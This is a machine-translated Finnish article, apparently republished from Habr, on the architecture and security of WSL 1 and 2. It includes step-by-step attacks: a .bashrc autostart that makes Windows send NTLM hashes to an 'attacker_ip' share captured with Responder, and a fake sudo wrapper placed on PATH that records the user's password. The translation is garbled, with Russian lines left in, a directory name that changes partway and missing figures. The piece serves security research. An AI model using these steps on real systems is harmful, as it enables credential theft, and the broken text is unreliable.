Hei, habr! OTUS käynnistää uuden kurssivirran lokakuussa
Vuonna 2016 Microsoft esitteli uuden WSL-teknologian IT-yhteisölle (Windows Salajärjestelmä Linux), joka mahdollisti tulevaisuudessa yhdistämään aiemmin sovittamattomat kilpailijat, jotka taistelivat suosiosta sekä tavallisten että edistyneiden käyttöjärjestelmän käyttäjien keskuudessa: Windows ja Linux. Tämä tekniikka mahdollisti Linux-käyttöjärjestelmän työkalujen käytön Windows-ympäristössä ilman tarvetta käyttää Linuxia esimerkiksi Multi-bootilla. Habrista löydät suuren määrän artikkeleita, jotka kuvaavat WSL:n käytön etuja. Valitettavasti tämän artikkelin luomisen aikaan tästä resurssista ei kuitenkaan löytynyt tutkimuksia tällaisen käyttöjärjestelmien symbioosin turvallisuudesta. Tämä viesti on yritys korjata tämä. Artikkelissa puhutaan WSL 1- ja 2 -arkkitehtuurien ominaisuuksista ja tarkastellaan useita esimerkkejä hyökkäyksistä näitä tekniikoita käyttäviin järjestelmiin. Artikkeli on jaettu 2 osaan. Ensimmäinen tarjoaa tärkeimmät teoreettiset hyökkäysmenetelmät Linuxista ja Windowsista. Toinen artikkeli sisältää testiympäristön luomisen ja hyökkäysten toistamisen.
WSL 1: arkkitehtoniset piirteet
Jotta WSL-tietoturvakysymyksiin sukeltaa mahdollisimman tarkasti, on tarpeen määrittää osajärjestelmän toteuttamiseen liittyvät tärkeimmät vivahteet. Yksi tärkeimmistä WSL:n ratkaisemista käyttäjätehtävistä on kyky työskennellä Linux-päätteen kautta Windows-käyttöjärjestelmää käyttävällä isännällä. Lisäksi tarjottu yhteensopivuus oli niin natiivi, että Linuxin suoritettavat tiedostot (ELF) voitiin ajaa suoraan Windows-järjestelmässä. Näiden tavoitteiden saavuttamiseksi Windows 10:ssä luotiin erityinen alijärjestelmä, jonka avulla voit ajaa Linux-sovelluksia käyttämällä tiettyjä järjestelmäkutsuja - näin ollen yritettiin kartoittaa joukko Linux-syscalls Windowsissa. Tämä toteutettiin fyysisesti lisäämällä uusia ohjaimia ja uusi prosessimuoto. Visuaalisesti arkkitehtuuri näytti tältä:
Itse asiassa vuorovaikutus Linux-käyttöjärjestelmän kanssa järjestettiin useiden ydinmoduulien ja erityisen prosessin - picon - kautta. Yllä olevasta kaaviosta voit nähdä, että isäntäkoneen Linux-esiintymässä käynnissä olevan prosessin on oltava natiivi ja sen on käytettävä samoja resursseja kuin tavallisten Windows-sovellusten. Mutta miten tämä saavutetaan? Projektissa
Huomaa, että ehdotettu abstraktio teki mahdolliseksi olla keskittymättä käyttöjärjestelmään (etenkin Windowsiin), jossa toisen käyttöjärjestelmän prosessin odotetaan käynnistyvän, ja ehdotti yleistä lähestymistapaa.
Siten mikä tahansa pico-prosessin sisällä oleva sovellus voisi toimia Windows-ytimestä riippumatta:
- Yhteensopivuus- ja järjestelmäkutsujen kääntämiseen liittyvät ongelmat on ratkaistava erityisten palveluntarjoajien toimesta.
- Kulunvalvonta on tehtävä Security Monitorin kautta. Monitori sijaitsee ytimessä ja siksi Windows tarvitsi päivityksen uuden ohjaimen muodossa, joka voisi toimia tällaisten prosessien tarjoajana. Prototyyppi pico -prosessi on esitetty kaavamaisesti alla:
Koska Linux-tiedostojärjestelmä käyttää kirjainkoolla eroteltuja tiedosto- ja hakemistonimiä, Windowsiin lisättiin 2 tyyppistä tiedostojärjestelmää toimimaan WSL:n kanssa - VolFS ja DriveFS. VolFS on Linux-tiedostojärjestelmän toteutus, DriveFS on tiedostojärjestelmä, joka toimii Windowsin sääntöjen mukaan, mutta jolla on kyky valita kirjainkoko.
WSL 2
WSL 1:ssä oli useita rajoituksia, jotka eivät sallineet sen käyttämistä suurimman mahdollisen tehtävien ratkaisemiseen: esimerkiksi sillä ei ollut kykyä ajaa 32-bittisiä Linux-sovelluksia, eikä laiteohjaimien käyttäminen ollut mahdollista. Siksi vuonna 2020 julkaistiin WSL 2, joka muutti lähestymistapaa osajärjestelmän rakentamiseen. WSL 2 on optimoitu virtuaalikone, joka vastaa WSL 1:n resurssien kulutusominaisuuksia. Nyt, riippuen Windows-käyttöjärjestelmän käyttäjän ratkaisemista ongelmista, voit valita tarvittavan version Linux-alijärjestelmästä. Mahdollisten haavoittuvuuksien lieventämiseksi WSL 2 otettiin käyttöön Hyper-V:n pohjalta Windows 10:ssä. Tässä muodossa Windows pystyy ajamaan Linux-käyttöjärjestelmän ydintä erillään. Kannattaa muistaa, että WSL:n versio 1 esiteltiin beta-ominaisuudena, jonka piti näyttää Windowsin kehityksen suunta tällä alueella, joten siirtyminen Hyper-V:hen oli väistämätöntä. Lopullinen arkkitehtuuri näyttää tältä:
Tässä versiossa Windows- ja Linux-ytimillä on omat resurssinsa ja risteys on olemassa vain tiedostojärjestelmässä, mutta tämä leikkaus ei ole täydellinen. Tiedostojärjestelmien välinen vuorovaikutus tapahtuu asiakas-palvelin-kääreen kautta, joka toimii 9P-protokollaa käyttäen.
Nykyään Microsoft tarjoaa mahdollisuuden vaihtaa WSL 1:n ja WSL 2:n välillä. Molemmat versiot ovat käytettävissä.
WSL-suojaus
Tällä hetkellä on useita teoksia, jotka kuvaavat tapoja käyttää laillisia käyttöjärjestelmän työkaluja hyökätäkseen alijärjestelmien väliseen viestintään. Käytämme heidän komentosarjojaan tarkistaaksemme hyökkäysten merkityksen kirjoitushetkellä. Yleinen luettelo hyökkäyksistä ja skenaarioista:
1. Tiedostojärjestelmän toteutus: käyttöoikeudet, jaettujen hakemistojen/tiedonvaihtomekanismien saatavuus.
Tutkimus tehtiin pääsysääntöjen rikkomusten määrittämiseksi Linux FS->Windows FS, Windows FS->Linux FS. Tutkimus on osoittanut kyvyn muokata tiettyä tiedostoa kohdekäyttöjärjestelmässä. Osa tiedostojärjestelmistä yritettiin myös korvata, luoda kaksoiskappaleita ja poistaa.
Skenaario:
- A. Hyökkäys Windows-käyttöjärjestelmästä - tiedostojen muokkaaminen Linux-käyttöjärjestelmän /etc-hakemistosta.
- B. Hyökkäys Linux-käyttöjärjestelmästä - tiedostojen muokkaaminen hakemistoissa:
C:Windows
,C:Program Files
,C:Users<User>
2. Verkkopinon toteutus.
Tutkimus toteutettiin käyttämällä esimerkkejä Windows-käyttöjärjestelmän Linux-käyttöjärjestelmän hyökkäyksistä. Käytettiin verkkopinon ominaisuuksia, nimittäin eri resurssien todennusmekanismeja.
Skenaario:
- Pääsyn avaaminen porttiin, joka on varattu Windows-järjestelmässä
- Portin avaaminen ilman asianmukaisia oikeuksia
- Käänteisen kuoren suorittaminen elf-tiedoston avulla Windows-käyttöjärjestelmässä.
3. Haitallisten ohjelmistoprosessien käynnistämisen piilottaminen WSL-alijärjestelmän avulla.
Tutkimus perustui yksinkertaiseen tosiasiaan - tietoturvaalijärjestelmät eivät voi siepata tapahtumia toisessa ytimessä, joka toimii käyttöjärjestelmän laillisen palveluntarjoajan avulla WSL 1:n tapauksessa. WSL 2:n tapauksessa tapahtuvia tapahtumia ei ole mahdollista tarkastella. erillisessä ytimessä kevyessä virtuaalikoneessa.
Skenaario:
1) Käynnistä sovellus järjestelmän etäkäyttöä varten ja tarkastele kirjattuja tapahtumia.
WSL 1 -kokeet: hash sieppaus (Windows)
Lopulta pääsimme käytännön osaan. Ensin sinun on määritettävä testiympäristö. Kaikki kokeet suoritetaan työpenkillä, jossa on asennettuna Windows 10 2004. WSL:n käyttöjärjestelmäkuvaksi valittiin Ubuntu 18.04 -näköistiedosto. Kuva valittiin sattumanvaraisesti, ja mikä tahansa muu kuva toimii samoin. Komennot jalustan pystyttämiseksi:
Sinun on ensin käynnistettävä powershell.exe
järjestelmänvalvojana.
WSL 1:lle sinun on suoritettava komennot:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft
Ubuntu.appx install —root #Установим образ
Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
Restart-Computer #Перезагрузим
Kun olet käynnistänyt jalustan uudelleen, voit kutsua bash-komennon. Jos kaikki toimi oikein, näet Windows-konsolissa samanlaisen tulosteen:
Käytämme Kali Linux -jakelua hyökkääjän koneena; kaikkien koneiden on oltava samassa paikallisessa verkossa.
Oletetaan, että meillä on etuoikeutettu pääsy WSL:ään Windows-koneessa. Yritetään hyökätä Linux-käyttöjärjestelmää vastaan kutsumalla komento Linuxista. Hyökkäyksen toteuttamiseksi käytämme yksinkertaista automaattista käynnistystekniikkaa - lisäämme skriptimme suoritettavaksi Linux-ympäristössä. Tätä varten sinun on vaihdettava tiedosto .bashrc
.
Koneella, jossa on WSL, suoritamme:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exit
Kali Linux -koneella suoritamme:
1. Responder -I eth0 -rdvw
Windows-koneessa käynnistetään bash.
Odotamme tulosta Kali Linux -koneella:
Siten saimme Windows-käyttäjien tiivisteet WSL-alijärjestelmän kautta suorittamalla komennon Linux-järjestelmässä.
WSL 1 -kokeet: käyttäjän salasanan hankkiminen (Linux OS)
Tehdään vielä yksi koe. Tämän tarkistuksen aikana lisäämme tiedostoon .bashrc
useita komentoja Linux-käyttöjärjestelmän käyttäjän salasanan saamiseksi.
Käynnistä bash ja kirjoita komennot:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
Hyökkäyksen suorittamiseksi onnistuneesti käyttäjän Samin on kutsuttava sudo Linux-päätteessä. Tämän jälkeen Linux-käyttöjärjestelmän käyttäjän salasana on tiedostossa pass.txt
:
Hyökkäysten toteutus annettiin vain teoreettiseksi tiedoksi.
Artikkelin seuraavassa osassa kuvataan 9P-protokollan toteutusta, harkitaan skannerin luomista tälle protokollalle ja myös hyökkäys sen avulla.
Luettelo käytetystä kirjallisuudesta
Lue lisää
Lähde: will.com